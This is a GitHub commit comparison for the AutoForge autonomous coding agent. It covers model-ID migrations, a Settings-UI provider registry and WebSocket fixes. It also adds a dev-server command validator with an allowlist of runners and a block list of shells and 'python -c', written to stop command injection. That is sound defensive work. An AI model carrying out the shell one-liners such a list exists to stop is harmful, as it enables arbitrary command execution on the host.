mirror of
https://github.com/leonvanzyl/autocoder.git
synced 2026-03-21 12:53:09 +00:00
Compare commits
29 Commits
v0.1.1
...
f24c7cbf62
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f24c7cbf62 | ||
|
|
f664378775 | ||
|
|
a52f191a54 | ||
|
|
c0aaac241c | ||
|
|
547f1e7d9b | ||
|
|
73d6cfcd36 | ||
|
|
d15fd37e33 | ||
|
|
97a3250a37 | ||
|
|
a752ece70c | ||
|
|
3c61496021 | ||
|
|
6d4a198380 | ||
|
|
13785325d7 | ||
|
|
70131f2271 | ||
|
|
035e8fdfca | ||
|
|
f4facb3200 | ||
|
|
2f8a6a6274 | ||
|
|
76246bad69 | ||
|
|
b736fb7382 | ||
|
|
032752e564 | ||
|
|
c55a1a0182 | ||
|
|
75766a433a | ||
|
|
ee993ed8ed | ||
|
|
a3b0abdc31 | ||
|
|
326f38b3c4 | ||
|
|
81d2f0cbe0 | ||
|
|
c7c88449ad | ||
|
|
9622da9561 | ||
|
|
83d2182107 | ||
|
|
7651436c27 |
42
.env.example
42
.env.example
@@ -9,11 +9,6 @@
|
||||
# - webkit: Safari engine
|
||||
# - msedge: Microsoft Edge
|
||||
# PLAYWRIGHT_BROWSER=firefox
|
||||
#
|
||||
# PLAYWRIGHT_HEADLESS: Run browser without visible window
|
||||
# - true: Browser runs in background, saves CPU (default)
|
||||
# - false: Browser opens a visible window (useful for debugging)
|
||||
# PLAYWRIGHT_HEADLESS=true
|
||||
|
||||
# Extra Read Paths (Optional)
|
||||
# Comma-separated list of absolute paths for read-only access to external directories.
|
||||
@@ -25,40 +20,17 @@
|
||||
# Google Cloud Vertex AI Configuration (Optional)
|
||||
# To use Claude via Vertex AI on Google Cloud Platform, uncomment and set these variables.
|
||||
# Requires: gcloud CLI installed and authenticated (run: gcloud auth application-default login)
|
||||
# Note: Use @ instead of - in model names (e.g., claude-opus-4-5@20251101)
|
||||
# Note: Use @ instead of - in model names for date-suffixed models (e.g., claude-sonnet-4-5@20250929)
|
||||
#
|
||||
# CLAUDE_CODE_USE_VERTEX=1
|
||||
# CLOUD_ML_REGION=us-east5
|
||||
# ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||
|
||||
# GLM/Alternative API Configuration (Optional)
|
||||
# To use Zhipu AI's GLM models instead of Claude, uncomment and set these variables.
|
||||
# This only affects AutoForge - your global Claude Code settings remain unchanged.
|
||||
# Get an API key at: https://z.ai/subscribe
|
||||
#
|
||||
# ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
||||
# ANTHROPIC_AUTH_TOKEN=your-zhipu-api-key
|
||||
# API_TIMEOUT_MS=3000000
|
||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=glm-4.7
|
||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.5-air
|
||||
|
||||
# Ollama Local Model Configuration (Optional)
|
||||
# To use local models via Ollama instead of Claude, uncomment and set these variables.
|
||||
# Requires Ollama v0.14.0+ with Anthropic API compatibility.
|
||||
# See: https://ollama.com/blog/claude
|
||||
#
|
||||
# ANTHROPIC_BASE_URL=http://localhost:11434
|
||||
# ANTHROPIC_AUTH_TOKEN=ollama
|
||||
# API_TIMEOUT_MS=3000000
|
||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||
#
|
||||
# Model recommendations:
|
||||
# - For best results, use a capable coding model like qwen3-coder or deepseek-coder-v2
|
||||
# - You can use the same model for all tiers, or different models per tier
|
||||
# - Larger models (70B+) work best for Opus tier, smaller (7B-20B) for Haiku
|
||||
# ===================
|
||||
# Alternative API Providers (GLM, Ollama, Kimi, Custom)
|
||||
# ===================
|
||||
# Configure alternative providers via the Settings UI (gear icon > API Provider).
|
||||
# The Settings UI is the recommended way to switch providers and models.
|
||||
|
||||
37
CLAUDE.md
37
CLAUDE.md
@@ -408,44 +408,23 @@ Run coding agents via Google Cloud Vertex AI:
|
||||
CLAUDE_CODE_USE_VERTEX=1
|
||||
CLOUD_ML_REGION=us-east5
|
||||
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||
```
|
||||
|
||||
**Note:** Use `@` instead of `-` in model names for Vertex AI.
|
||||
|
||||
### Ollama Local Models (Optional)
|
||||
### Alternative API Providers (GLM, Ollama, Kimi, Custom)
|
||||
|
||||
Run coding agents using local models via Ollama v0.14.0+:
|
||||
Alternative providers are configured via the **Settings UI** (gear icon > API Provider section). Select a provider, set the base URL, auth token, and model — no `.env` changes needed.
|
||||
|
||||
1. Install Ollama: https://ollama.com
|
||||
2. Start Ollama: `ollama serve`
|
||||
3. Pull a coding model: `ollama pull qwen3-coder`
|
||||
4. Configure `.env`:
|
||||
```
|
||||
ANTHROPIC_BASE_URL=http://localhost:11434
|
||||
ANTHROPIC_AUTH_TOKEN=ollama
|
||||
API_TIMEOUT_MS=3000000
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||
```
|
||||
5. Run AutoForge normally - it will use your local Ollama models
|
||||
**Available providers:** Claude (default), GLM (Zhipu AI), Ollama (local models), Kimi (Moonshot), Custom
|
||||
|
||||
**Recommended coding models:**
|
||||
- `qwen3-coder` - Good balance of speed and capability
|
||||
- `deepseek-coder-v2` - Strong coding performance
|
||||
- `codellama` - Meta's code-focused model
|
||||
|
||||
**Model tier mapping:**
|
||||
- Use the same model for all tiers, or map different models per capability level
|
||||
- Larger models (70B+) work best for Opus tier
|
||||
- Smaller models (7B-20B) work well for Haiku tier
|
||||
|
||||
**Known limitations:**
|
||||
- Smaller context windows than Claude (model-dependent)
|
||||
- Extended context beta disabled (not supported by Ollama)
|
||||
**Ollama notes:**
|
||||
- Requires Ollama v0.14.0+ with Anthropic API compatibility
|
||||
- Install: https://ollama.com → `ollama serve` → `ollama pull qwen3-coder`
|
||||
- Recommended models: `qwen3-coder`, `deepseek-coder-v2`, `codellama`
|
||||
- Performance depends on local hardware (GPU recommended)
|
||||
|
||||
## Claude Code Integration
|
||||
|
||||
38
README.md
38
README.md
@@ -6,9 +6,9 @@ A long-running autonomous coding agent powered by the Claude Agent SDK. This too
|
||||
|
||||
## Video Tutorial
|
||||
|
||||
[](https://youtu.be/lGWFlpffWk4)
|
||||
[](https://youtu.be/nKiPOxDpcJY)
|
||||
|
||||
> **[Watch the setup and usage guide →](https://youtu.be/lGWFlpffWk4)**
|
||||
> **[Watch the setup and usage guide →](https://youtu.be/nKiPOxDpcJY)**
|
||||
|
||||
---
|
||||
|
||||
@@ -326,37 +326,13 @@ When test progress increases, the agent sends:
|
||||
}
|
||||
```
|
||||
|
||||
### Using GLM Models (Alternative to Claude)
|
||||
### Alternative API Providers (GLM, Ollama, Kimi, Custom)
|
||||
|
||||
Add these variables to your `.env` file to use Zhipu AI's GLM models:
|
||||
Alternative providers are configured via the **Settings UI** (gear icon > API Provider). Select your provider, set the base URL, auth token, and model directly in the UI — no `.env` changes needed.
|
||||
|
||||
```bash
|
||||
ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
||||
ANTHROPIC_AUTH_TOKEN=your-zhipu-api-key
|
||||
API_TIMEOUT_MS=3000000
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=glm-4.7
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.5-air
|
||||
```
|
||||
Available providers: **Claude** (default), **GLM** (Zhipu AI), **Ollama** (local models), **Kimi** (Moonshot), **Custom**
|
||||
|
||||
This routes AutoForge's API requests through Zhipu's Claude-compatible API, allowing you to use GLM-4.7 and other models. **This only affects AutoForge** - your global Claude Code settings remain unchanged.
|
||||
|
||||
Get an API key at: https://z.ai/subscribe
|
||||
|
||||
### Using Ollama Local Models
|
||||
|
||||
Add these variables to your `.env` file to run agents with local models via Ollama v0.14.0+:
|
||||
|
||||
```bash
|
||||
ANTHROPIC_BASE_URL=http://localhost:11434
|
||||
ANTHROPIC_AUTH_TOKEN=ollama
|
||||
API_TIMEOUT_MS=3000000
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||
```
|
||||
|
||||
See the [CLAUDE.md](CLAUDE.md) for recommended models and known limitations.
|
||||
For Ollama, install [Ollama v0.14.0+](https://ollama.com), run `ollama serve`, and pull a coding model (e.g., `ollama pull qwen3-coder`). Then select "Ollama" in the Settings UI.
|
||||
|
||||
### Using Vertex AI
|
||||
|
||||
@@ -366,7 +342,7 @@ Add these variables to your `.env` file to run agents via Google Cloud Vertex AI
|
||||
CLAUDE_CODE_USE_VERTEX=1
|
||||
CLOUD_ML_REGION=us-east5
|
||||
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||
```
|
||||
|
||||
@@ -263,6 +263,17 @@ def main() -> None:
|
||||
)
|
||||
else:
|
||||
# Entry point mode - always use unified orchestrator
|
||||
# Clean up stale temp files before starting (prevents temp folder bloat)
|
||||
from temp_cleanup import cleanup_stale_temp
|
||||
cleanup_stats = cleanup_stale_temp()
|
||||
if cleanup_stats["dirs_deleted"] > 0 or cleanup_stats["files_deleted"] > 0:
|
||||
mb_freed = cleanup_stats["bytes_freed"] / (1024 * 1024)
|
||||
print(
|
||||
f"[CLEANUP] Removed {cleanup_stats['dirs_deleted']} dirs, "
|
||||
f"{cleanup_stats['files_deleted']} files ({mb_freed:.1f} MB freed)",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
from parallel_orchestrator import run_parallel_orchestrator
|
||||
|
||||
# Clamp concurrency to valid range (1-5)
|
||||
|
||||
0
bin/autoforge.js
Normal file → Executable file
0
bin/autoforge.js
Normal file → Executable file
@@ -46,8 +46,9 @@ def convert_model_for_vertex(model: str) -> str:
|
||||
"""
|
||||
Convert model name format for Vertex AI compatibility.
|
||||
|
||||
Vertex AI uses @ to separate model name from version (e.g., claude-opus-4-5@20251101)
|
||||
while the Anthropic API uses - (e.g., claude-opus-4-5-20251101).
|
||||
Vertex AI uses @ to separate model name from version (e.g., claude-sonnet-4-5@20250929)
|
||||
while the Anthropic API uses - (e.g., claude-sonnet-4-5-20250929).
|
||||
Models without a date suffix (e.g., claude-opus-4-6) pass through unchanged.
|
||||
|
||||
Args:
|
||||
model: Model name in Anthropic format (with hyphens)
|
||||
@@ -61,7 +62,7 @@ def convert_model_for_vertex(model: str) -> str:
|
||||
return model
|
||||
|
||||
# Pattern: claude-{name}-{version}-{date} -> claude-{name}-{version}@{date}
|
||||
# Example: claude-opus-4-5-20251101 -> claude-opus-4-5@20251101
|
||||
# Example: claude-sonnet-4-5-20250929 -> claude-sonnet-4-5@20250929
|
||||
# The date is always 8 digits at the end
|
||||
match = re.match(r'^(claude-.+)-(\d{8})$', model)
|
||||
if match:
|
||||
|
||||
@@ -15,6 +15,7 @@ API_ENV_VARS: list[str] = [
|
||||
# Core API configuration
|
||||
"ANTHROPIC_BASE_URL", # Custom API endpoint (e.g., https://api.z.ai/api/anthropic)
|
||||
"ANTHROPIC_AUTH_TOKEN", # API authentication token
|
||||
"ANTHROPIC_API_KEY", # API key (used by Kimi and other providers)
|
||||
"API_TIMEOUT_MS", # Request timeout in milliseconds
|
||||
# Model tier overrides
|
||||
"ANTHROPIC_DEFAULT_SONNET_MODEL", # Model override for Sonnet
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "autoforge-ai",
|
||||
"version": "0.1.1",
|
||||
"version": "0.1.5",
|
||||
"description": "Autonomous coding agent with web UI - build complete apps with AI",
|
||||
"license": "AGPL-3.0",
|
||||
"bin": {
|
||||
@@ -34,6 +34,7 @@
|
||||
"registry.py",
|
||||
"rate_limit_utils.py",
|
||||
"security.py",
|
||||
"temp_cleanup.py",
|
||||
"requirements-prod.txt",
|
||||
"pyproject.toml",
|
||||
".env.example",
|
||||
|
||||
153
registry.py
153
registry.py
@@ -46,10 +46,16 @@ def _migrate_registry_dir() -> None:
|
||||
# Available models with display names
|
||||
# To add a new model: add an entry here with {"id": "model-id", "name": "Display Name"}
|
||||
AVAILABLE_MODELS = [
|
||||
{"id": "claude-opus-4-5-20251101", "name": "Claude Opus 4.5"},
|
||||
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet 4.5"},
|
||||
{"id": "claude-opus-4-6", "name": "Claude Opus"},
|
||||
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet"},
|
||||
]
|
||||
|
||||
# Map legacy model IDs to their current replacements.
|
||||
# Used by get_all_settings() to auto-migrate stale values on first read after upgrade.
|
||||
LEGACY_MODEL_MAP = {
|
||||
"claude-opus-4-5-20251101": "claude-opus-4-6",
|
||||
}
|
||||
|
||||
# List of valid model IDs (derived from AVAILABLE_MODELS)
|
||||
VALID_MODELS = [m["id"] for m in AVAILABLE_MODELS]
|
||||
|
||||
@@ -59,7 +65,7 @@ VALID_MODELS = [m["id"] for m in AVAILABLE_MODELS]
|
||||
_env_default_model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL")
|
||||
if _env_default_model is not None:
|
||||
_env_default_model = _env_default_model.strip()
|
||||
DEFAULT_MODEL = _env_default_model or "claude-opus-4-5-20251101"
|
||||
DEFAULT_MODEL = _env_default_model or "claude-opus-4-6"
|
||||
|
||||
# Ensure env-provided DEFAULT_MODEL is in VALID_MODELS for validation consistency
|
||||
# (idempotent: only adds if missing, doesn't alter AVAILABLE_MODELS semantics)
|
||||
@@ -598,6 +604,9 @@ def get_all_settings() -> dict[str, str]:
|
||||
"""
|
||||
Get all settings as a dictionary.
|
||||
|
||||
Automatically migrates legacy model IDs (e.g. claude-opus-4-5-20251101 -> claude-opus-4-6)
|
||||
on first read after upgrade. This is a one-time silent migration.
|
||||
|
||||
Returns:
|
||||
Dictionary mapping setting keys to values.
|
||||
"""
|
||||
@@ -606,9 +615,145 @@ def get_all_settings() -> dict[str, str]:
|
||||
session = SessionLocal()
|
||||
try:
|
||||
settings = session.query(Settings).all()
|
||||
return {s.key: s.value for s in settings}
|
||||
result = {s.key: s.value for s in settings}
|
||||
|
||||
# Auto-migrate legacy model IDs
|
||||
migrated = False
|
||||
for key in ("model", "api_model"):
|
||||
old_id = result.get(key)
|
||||
if old_id and old_id in LEGACY_MODEL_MAP:
|
||||
new_id = LEGACY_MODEL_MAP[old_id]
|
||||
setting = session.query(Settings).filter(Settings.key == key).first()
|
||||
if setting:
|
||||
setting.value = new_id
|
||||
setting.updated_at = datetime.now()
|
||||
result[key] = new_id
|
||||
migrated = True
|
||||
logger.info("Migrated setting '%s': %s -> %s", key, old_id, new_id)
|
||||
|
||||
if migrated:
|
||||
session.commit()
|
||||
|
||||
return result
|
||||
finally:
|
||||
session.close()
|
||||
except Exception as e:
|
||||
logger.warning("Failed to read settings: %s", e)
|
||||
return {}
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# API Provider Definitions
|
||||
# =============================================================================
|
||||
|
||||
API_PROVIDERS: dict[str, dict[str, Any]] = {
|
||||
"claude": {
|
||||
"name": "Claude (Anthropic)",
|
||||
"base_url": None,
|
||||
"requires_auth": False,
|
||||
"models": [
|
||||
{"id": "claude-opus-4-6", "name": "Claude Opus"},
|
||||
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet"},
|
||||
],
|
||||
"default_model": "claude-opus-4-6",
|
||||
},
|
||||
"kimi": {
|
||||
"name": "Kimi K2.5 (Moonshot)",
|
||||
"base_url": "https://api.kimi.com/coding/",
|
||||
"requires_auth": True,
|
||||
"auth_env_var": "ANTHROPIC_API_KEY",
|
||||
"models": [{"id": "kimi-k2.5", "name": "Kimi K2.5"}],
|
||||
"default_model": "kimi-k2.5",
|
||||
},
|
||||
"glm": {
|
||||
"name": "GLM (Zhipu AI)",
|
||||
"base_url": "https://api.z.ai/api/anthropic",
|
||||
"requires_auth": True,
|
||||
"auth_env_var": "ANTHROPIC_AUTH_TOKEN",
|
||||
"models": [
|
||||
{"id": "glm-4.7", "name": "GLM 4.7"},
|
||||
{"id": "glm-4.5-air", "name": "GLM 4.5 Air"},
|
||||
],
|
||||
"default_model": "glm-4.7",
|
||||
},
|
||||
"ollama": {
|
||||
"name": "Ollama (Local)",
|
||||
"base_url": "http://localhost:11434",
|
||||
"requires_auth": False,
|
||||
"models": [
|
||||
{"id": "qwen3-coder", "name": "Qwen3 Coder"},
|
||||
{"id": "deepseek-coder-v2", "name": "DeepSeek Coder V2"},
|
||||
],
|
||||
"default_model": "qwen3-coder",
|
||||
},
|
||||
"custom": {
|
||||
"name": "Custom Provider",
|
||||
"base_url": "",
|
||||
"requires_auth": True,
|
||||
"auth_env_var": "ANTHROPIC_AUTH_TOKEN",
|
||||
"models": [],
|
||||
"default_model": "",
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def get_effective_sdk_env() -> dict[str, str]:
|
||||
"""Build environment variable dict for Claude SDK based on current API provider settings.
|
||||
|
||||
When api_provider is "claude" (or unset), falls back to existing env vars (current behavior).
|
||||
For other providers, builds env dict from stored settings (api_base_url, api_auth_token, api_model).
|
||||
|
||||
Returns:
|
||||
Dict ready to merge into subprocess env or pass to SDK.
|
||||
"""
|
||||
all_settings = get_all_settings()
|
||||
provider_id = all_settings.get("api_provider", "claude")
|
||||
|
||||
if provider_id == "claude":
|
||||
# Default behavior: forward existing env vars
|
||||
from env_constants import API_ENV_VARS
|
||||
sdk_env: dict[str, str] = {}
|
||||
for var in API_ENV_VARS:
|
||||
value = os.getenv(var)
|
||||
if value:
|
||||
sdk_env[var] = value
|
||||
return sdk_env
|
||||
|
||||
# Alternative provider: build env from settings
|
||||
provider = API_PROVIDERS.get(provider_id)
|
||||
if not provider:
|
||||
logger.warning("Unknown API provider '%s', falling back to claude", provider_id)
|
||||
from env_constants import API_ENV_VARS
|
||||
sdk_env = {}
|
||||
for var in API_ENV_VARS:
|
||||
value = os.getenv(var)
|
||||
if value:
|
||||
sdk_env[var] = value
|
||||
return sdk_env
|
||||
|
||||
sdk_env = {}
|
||||
|
||||
# Base URL
|
||||
base_url = all_settings.get("api_base_url") or provider.get("base_url")
|
||||
if base_url:
|
||||
sdk_env["ANTHROPIC_BASE_URL"] = base_url
|
||||
|
||||
# Auth token
|
||||
auth_token = all_settings.get("api_auth_token")
|
||||
if auth_token:
|
||||
auth_env_var = provider.get("auth_env_var", "ANTHROPIC_AUTH_TOKEN")
|
||||
sdk_env[auth_env_var] = auth_token
|
||||
|
||||
# Model - set all three tier overrides to the same model
|
||||
model = all_settings.get("api_model") or provider.get("default_model")
|
||||
if model:
|
||||
sdk_env["ANTHROPIC_DEFAULT_OPUS_MODEL"] = model
|
||||
sdk_env["ANTHROPIC_DEFAULT_SONNET_MODEL"] = model
|
||||
sdk_env["ANTHROPIC_DEFAULT_HAIKU_MODEL"] = model
|
||||
|
||||
# Timeout
|
||||
timeout = all_settings.get("api_timeout_ms")
|
||||
if timeout:
|
||||
sdk_env["API_TIMEOUT_MS"] = timeout
|
||||
|
||||
return sdk_env
|
||||
|
||||
@@ -32,7 +32,7 @@ def _get_settings_defaults() -> tuple[bool, str, int, bool, int]:
|
||||
|
||||
settings = get_all_settings()
|
||||
yolo_mode = (settings.get("yolo_mode") or "false").lower() == "true"
|
||||
model = settings.get("model", DEFAULT_MODEL)
|
||||
model = settings.get("api_model") or settings.get("model", DEFAULT_MODEL)
|
||||
|
||||
# Parse testing agent settings with defaults
|
||||
try:
|
||||
|
||||
@@ -26,7 +26,7 @@ from ..services.assistant_database import (
|
||||
get_conversations,
|
||||
)
|
||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
||||
from ..utils.validation import validate_project_name
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -217,20 +217,26 @@ async def assistant_chat_websocket(websocket: WebSocket, project_name: str):
|
||||
- {"type": "error", "content": "..."} - Error message
|
||||
- {"type": "pong"} - Keep-alive pong
|
||||
"""
|
||||
if not validate_project_name(project_name):
|
||||
# Always accept WebSocket first to avoid opaque 403 errors
|
||||
await websocket.accept()
|
||||
|
||||
try:
|
||||
project_name = validate_project_name(project_name)
|
||||
except HTTPException:
|
||||
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||
await websocket.close(code=4000, reason="Invalid project name")
|
||||
return
|
||||
|
||||
project_dir = _get_project_path(project_name)
|
||||
if not project_dir:
|
||||
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||
await websocket.close(code=4004, reason="Project not found in registry")
|
||||
return
|
||||
|
||||
if not project_dir.exists():
|
||||
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||
await websocket.close(code=4004, reason="Project directory not found")
|
||||
return
|
||||
|
||||
await websocket.accept()
|
||||
logger.info(f"Assistant WebSocket connected for project: {project_name}")
|
||||
|
||||
session: Optional[AssistantChatSession] = None
|
||||
|
||||
@@ -7,6 +7,7 @@ Uses project registry for path lookups and project_config for command detection.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import shlex
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
@@ -72,6 +73,116 @@ def get_project_dir(project_name: str) -> Path:
|
||||
|
||||
return project_dir
|
||||
|
||||
ALLOWED_RUNNERS = {
|
||||
"npm", "pnpm", "yarn", "npx",
|
||||
"uvicorn", "python", "python3",
|
||||
"flask", "poetry",
|
||||
"cargo", "go",
|
||||
}
|
||||
|
||||
ALLOWED_NPM_SCRIPTS = {"dev", "start", "serve", "develop", "server", "preview"}
|
||||
|
||||
# Allowed Python -m modules for dev servers
|
||||
ALLOWED_PYTHON_MODULES = {"uvicorn", "flask", "gunicorn", "http.server"}
|
||||
|
||||
BLOCKED_SHELLS = {"sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"}
|
||||
|
||||
|
||||
def validate_custom_command_strict(cmd: str) -> None:
|
||||
"""
|
||||
Strict allowlist validation for dev server commands.
|
||||
Prevents arbitrary command execution (no sh -c, no cmd /c, no python -c, etc.)
|
||||
"""
|
||||
if not isinstance(cmd, str) or not cmd.strip():
|
||||
raise ValueError("custom_command cannot be empty")
|
||||
|
||||
argv = shlex.split(cmd, posix=(sys.platform != "win32"))
|
||||
if not argv:
|
||||
raise ValueError("custom_command could not be parsed")
|
||||
|
||||
base = Path(argv[0]).name.lower()
|
||||
|
||||
# Block direct shells / interpreters commonly used for command injection
|
||||
if base in BLOCKED_SHELLS:
|
||||
raise ValueError(f"custom_command runner not allowed: {base}")
|
||||
|
||||
if base not in ALLOWED_RUNNERS:
|
||||
raise ValueError(
|
||||
f"custom_command runner not allowed: {base}. "
|
||||
f"Allowed: {', '.join(sorted(ALLOWED_RUNNERS))}"
|
||||
)
|
||||
|
||||
# Block one-liner execution for python
|
||||
lowered = [a.lower() for a in argv]
|
||||
if base in {"python", "python3"}:
|
||||
if "-c" in lowered:
|
||||
raise ValueError("python -c is not allowed")
|
||||
if len(argv) >= 3 and argv[1] == "-m":
|
||||
# Allow: python -m <allowed_module> ...
|
||||
if argv[2] not in ALLOWED_PYTHON_MODULES:
|
||||
raise ValueError(
|
||||
f"python -m {argv[2]} is not allowed. "
|
||||
f"Allowed modules: {', '.join(sorted(ALLOWED_PYTHON_MODULES))}"
|
||||
)
|
||||
elif len(argv) >= 2 and argv[1].endswith(".py"):
|
||||
# Allow: python manage.py runserver, python app.py, etc.
|
||||
pass
|
||||
else:
|
||||
raise ValueError(
|
||||
"Python commands must use 'python -m <module> ...' or 'python <script>.py ...'"
|
||||
)
|
||||
|
||||
if base == "flask":
|
||||
# Allow: flask run [--host ...] [--port ...]
|
||||
if len(argv) < 2 or argv[1] != "run":
|
||||
raise ValueError("flask custom_command must be 'flask run [options]'")
|
||||
|
||||
if base == "poetry":
|
||||
# Allow: poetry run <subcmd> ...
|
||||
if len(argv) < 3 or argv[1] != "run":
|
||||
raise ValueError("poetry custom_command must be 'poetry run <command> ...'")
|
||||
|
||||
if base == "uvicorn":
|
||||
if len(argv) < 2 or ":" not in argv[1]:
|
||||
raise ValueError("uvicorn must specify an app like module:app")
|
||||
|
||||
allowed_flags = {"--host", "--port", "--reload", "--log-level", "--workers"}
|
||||
for a in argv[2:]:
|
||||
if a.startswith("-"):
|
||||
# Handle --flag=value syntax
|
||||
flag_key = a.split("=", 1)[0]
|
||||
if flag_key not in allowed_flags:
|
||||
raise ValueError(f"uvicorn flag not allowed: {flag_key}")
|
||||
|
||||
if base in {"npm", "pnpm", "yarn"}:
|
||||
# Allow only known safe scripts (no arbitrary exec)
|
||||
if base == "npm":
|
||||
if len(argv) < 3 or argv[1] != "run" or argv[2] not in ALLOWED_NPM_SCRIPTS:
|
||||
raise ValueError(
|
||||
f"npm custom_command must be 'npm run <script>' where script is one of: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
elif base == "pnpm":
|
||||
ok = (
|
||||
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||
)
|
||||
if not ok:
|
||||
raise ValueError(
|
||||
f"pnpm custom_command must use a known script: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
elif base == "yarn":
|
||||
ok = (
|
||||
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||
)
|
||||
if not ok:
|
||||
raise ValueError(
|
||||
f"yarn custom_command must use a known script: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
|
||||
|
||||
def get_project_devserver_manager(project_name: str):
|
||||
"""
|
||||
@@ -180,9 +291,12 @@ async def start_devserver(
|
||||
# Determine which command to use
|
||||
command: str | None
|
||||
if request.command:
|
||||
command = request.command
|
||||
else:
|
||||
command = get_dev_command(project_dir)
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail="Direct command execution is disabled. Use /config to set a safe custom_command."
|
||||
)
|
||||
|
||||
command = get_dev_command(project_dir)
|
||||
|
||||
if not command:
|
||||
raise HTTPException(
|
||||
@@ -193,6 +307,13 @@ async def start_devserver(
|
||||
# Validate command against security allowlist before execution
|
||||
validate_dev_command(command, project_dir)
|
||||
|
||||
# Defense-in-depth: also run strict structural validation at execution time
|
||||
# (catches config file tampering that bypasses the /config endpoint)
|
||||
try:
|
||||
validate_custom_command_strict(command)
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
|
||||
# Now command is definitely str and validated
|
||||
success, message = await manager.start(command)
|
||||
|
||||
@@ -284,7 +405,13 @@ async def update_devserver_config(
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
else:
|
||||
# Validate command against security allowlist before persisting
|
||||
# Strict structural validation first (most specific errors)
|
||||
try:
|
||||
validate_custom_command_strict(update.custom_command)
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
|
||||
# Then validate against security allowlist
|
||||
validate_dev_command(update.custom_command, project_dir)
|
||||
|
||||
# Set the custom command
|
||||
|
||||
@@ -104,19 +104,26 @@ async def expand_project_websocket(websocket: WebSocket, project_name: str):
|
||||
- {"type": "error", "content": "..."} - Error message
|
||||
- {"type": "pong"} - Keep-alive pong
|
||||
"""
|
||||
# Always accept the WebSocket first to avoid opaque 403 errors.
|
||||
# Starlette returns 403 if we close before accepting.
|
||||
await websocket.accept()
|
||||
|
||||
try:
|
||||
project_name = validate_project_name(project_name)
|
||||
except HTTPException:
|
||||
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||
await websocket.close(code=4000, reason="Invalid project name")
|
||||
return
|
||||
|
||||
# Look up project directory from registry
|
||||
project_dir = _get_project_path(project_name)
|
||||
if not project_dir:
|
||||
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||
await websocket.close(code=4004, reason="Project not found in registry")
|
||||
return
|
||||
|
